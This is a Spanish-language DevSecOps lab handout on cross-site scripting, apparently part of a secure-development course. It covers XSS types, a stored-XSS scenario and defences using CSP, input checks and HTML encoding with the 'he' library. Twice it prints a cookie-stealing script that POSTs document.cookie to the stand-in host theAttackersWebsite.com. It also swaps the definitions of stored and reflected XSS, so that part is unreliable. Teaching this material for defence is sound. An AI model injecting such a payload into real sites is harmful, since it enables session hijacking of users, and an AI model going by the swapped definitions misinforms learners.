6.- Cross-site Scripting XSS

¿Qué es Cross-site Scripting?

Cross-site scripting (XSS) es un tipo de ataque de inyección que manipula un sitio web no protegido para devolver scripts maliciosos a los usuarios a través de una aplicación web. Los sitios web que carecen de validación de entrada/salida son vulnerables a estos ataques.

Los atacantes utilizan cross-site scripting para enviar un script malicioso al navegador del usuario. El navegador no sabe que el script no debe ser confiable. Como el navegador piensa que el script proviene de una fuente confiable, lo ejecuta.

Los scripts maliciosos, confiados por el navegador del usuario, pueden acceder a información sensible, cookies y tokens de sesión utilizados por la aplicación para ese sitio web. Esto permite que un atacante suplante al usuario, capture credenciales de inicio de sesión, desfigure o cambie el contenido de un sitio web, inyecte troyanos en el sitio web y más.

Los ataques XSS se dividen en tres tipos según dónde coloca un atacante un script de inyección para su ejecución:

• XSS Almacenado (Persistente). Este ataque ocurre cuando un script malicioso no se guarda en el servidor web, pero se refleja en los resultados del sitio web.
• XSS Reflejado (No persistente). Este ataque ocurre cuando un script malicioso se guarda permanentemente en el servidor web.
• XSS basado en DOM (Modelo de Objetos del Documento). Ocurre cuando se cambia el entorno DOM, pero el código permanece igual.

En este laboratorio, examinaremos un ataque XSS Almacenado. Este tipo de ataque es uno de los más peligrosos, ya que el ataque puede afectar a más de un usuario con una sola acción individual. También aprenderemos más sobre cómo los encabezados XSS seguros pueden frustrar los ataques XSS Reflejados.

Tipo 1: XSS Almacenado

Tipos de sitios web vulnerables

Hay ciertos tipos de sitios web que son más vulnerables a los ataques XSS que otros:

• Blogs
• Foros
• Cualquier sitio web que almacene datos y posteriormente envíe esos datos a las máquinas cliente.

Los sitios web son vulnerables cuando no hay validación de entrada o salida. Veamos un ejemplo.

INSTALAR EN CODE EL PLUGING “LIVE SERVER” para ejecucion en local de servidor web.

Ejemplo: Stored XSS Attack Squaker

Hoy, un atacante decidió atacar a todos los usuarios en un sitio web inseguro llamado Squaker.

Squaker es un sitio web donde los usuarios publican mensajes cortos para que sus seguidores los vean. El atacante publica el siguiente mensaje Javascript:

<script>
  fetch("theAttackersWebsite.com/victimData", {
    method: 'post',
    body: document.cookie,
    headers: {
    'Accept': 'application/json',
    'Content-Type': 'application/json'
    }
  })
</script>

Este código tomará todas las cookies del cliente y las enviará a un sitio web del atacante. Las cookies se utilizan comúnmente para mantener a los usuarios conectados a sus sitios web de banca en línea, tiendas en línea y otros servicios.

Debido a que Squaker no es seguro y no valida la entrada del usuario, este mensaje se guarda exitosamente en su base de datos y está listo para ser enviado a cualquier cliente.

Cuando un usuario de Squaker visita el sitio web y carga el mensaje del atacante, el navegador del usuario ejecutará inmediatamente el código Javascript y enviará una solicitud POST al sitio web del atacante con todos los datos de las cookies del usuario. También hay un problema en el servidor porque no se ha limpiado la salida al cliente.

¿Por qué es esto peligroso? Porque ahora el atacante posee los datos de las cookies del usuario, lo que le permite permanecer conectado a Google, la banca en línea, Squaker y otros sitios web. El atacante puede utilizar estas cookies para acceder a los sitios web del usuario.

Secure XSS Headers

Los navegadores modernos tienen protección incorporada contra el Cross-Site Scripting Reflejado.

Uno de los tipos más comunes de ataques XSS es el XSS Reflejado. Los atacantes crean enlaces maliciosos, correos electrónicos de phishing y otras técnicas para hacer que sus víctimas envíen solicitudes maliciosas al servidor.

Un ejemplo de XSS Reflejado es cuando un atacante crea un enlace a un motor de búsqueda con un script como consulta de búsqueda. Cuando se envía y se abre por una víctima, el script se ejecutará en su máquina sin que lo sepan.

Los sitios web modernos generalmente enviarán una etiqueta <meta> Content-Security-Policy HTTP header con la respuesta al cliente, lo que puede desactivar cualquier JavaScript en línea.

Incluir en sus archivos HTML para prevenir esto:

<meta http-equiv=”Content-Security-Policy” content=”default-src https:”>

Validating Inputs to Prevent XSS Attacks

Prevenir los ataques XSS es relativamente fácil. La clave para la prevención es validar la entrada del usuario y sanitizar las salidas. Es importante codificar defensivamente contra intentos de inyección de scripts en su código.

Enfoque simple

Aquí hay un método simple para prevenir los ataques XSS.

El primer paso sería validar que todos los campos de entrada del usuario no contengan <SCRIPT> o <script> o cualquier variación en mayúsculas y minúsculas.

Si tuviéramos una página de inicio de sesión, lo primero que hacemos es extraer el nombre de usuario del formulario de inicio de sesión:

const username = document.getElementById('username').value;

El siguiente paso es verificar si la cadena del nombre de usuario ingresada contiene la etiqueta <script>.

Si lo hace, mostramos una alerta:

if (username.includes(‘<script>’) || username.includes(‘<SCRIPT>’)) {
  alert('Entrada no válida. No se permiten scripts.');
}

Este enfoque simple ayuda a prevenir los ataques XSS al evitar que los scripts maliciosos se ejecuten en el navegador del usuario. Sin embargo, es importante mencionar que este es solo un ejemplo básico y que en situaciones reales, las medidas de seguridad deben ser más robustas y complejas para protegerse contra una variedad de vectores de ataque XSS.

if (username.toLowerCase().includes(“<script>”)){
  alert('Error: Detected script in input');
}

Este método de verificar las entradas de usuario en busca de la etiqueta `<script>` es simple y fácil de implementar.

Pero no es un sustituto para una solución de seguridad integral. Continuemos.

Exercise: HTML Encoding

Otro método de validación de entrada es codificar en HTML la entrada. Esto significa codificar el contexto HTML en su correspondiente valor Unicode. La biblioteca de JavaScript “he” nos facilita hacer esto.

Tienes un pequeño preparativo que hacer antes de comenzar el laboratorio.

EJEMPLO

cd Dev-Sec-Ops-XSS-demo

lanzar servidor en live en el CODE ide

Insertar Javascript

<script>
  fetch("theAttackersWebsite.com/victimData", {
    method: 'post',
    body: document.cookie,
    headers: {
    'Accept': 'application/json',
    'Content-Type': 'application/json'
  }
})
</script>

Pulsar el botón del formulario “do it”

Resultados:

Vemos que el resultado, el script ha sido rendered sin cambios.

Encoding an HTML String

Para evitar que el código malicioso se cargue en nuestros servidores, primero debemos codificarlo. Podemos hacerlo utilizando la biblioteca “he” disponible para JavaScript. Por ejemplo, convirtiendo “<” en su referencia de carácter HTML correspondiente, “&lt;”.

La biblioteca `he` ya ha sido importada, por lo que puedes llamar a cualquier método de `he.__method__()`. Llama al método `he.encode()`, pasando la `cadena` existente como argumento.

Abre la carpeta “Dev-Sec-Ops-XSS-demo” y edita el archivo “encoder.js”. En la línea 9, verás dónde se debe codificar la cadena. Utiliza la función `encode()` de la biblioteca “he” para codificar las entradas de usuario potencialmente peligrosas.

var encodedStr = he.encode(string);

Abre “encoder.js” en tu entorno de desarrollo integrado (IDE).

Recuerda almacenar el resultado de la codificación en una variable llamada `encodedStr`.

Comprobando los cambios

Introduce “<script>Otro ataque</script>” en el cuadro de texto y haz clic en el botón “Hacerlo”.

Resultados

Deberías ver que la cadena ha sido codificada y no se puede ejecutar como código.

Has prevenido con éxito un ataque de cross-site scripting utilizando codificación HTML, ¡y todo lo que se necesite fue llamar a un método para lograrlo!

Segunda Parte: Tests de Seguridad y Estrategias de Mitigación

Lab 1: Usando Análisis Estático
Lab 2: Usando Análisis Dinámico
Lab 3: Evaluando el Análisis de Vulnerabilidades
Lab 4: Evaluando “Software Component Analysis (SCA)”

Tercera Parte: OWASP Top 10 vulnerabilidades

Lab 5: Comprendiendo SQL Injections
Lab 6: Cross Site Scripting XSS
Lab 7: Guardando Secretos de forma Segura

Cuarta Parte: Mejores Prácticas

Lab 8: Code Practices
Lab 9: Secure Development Environment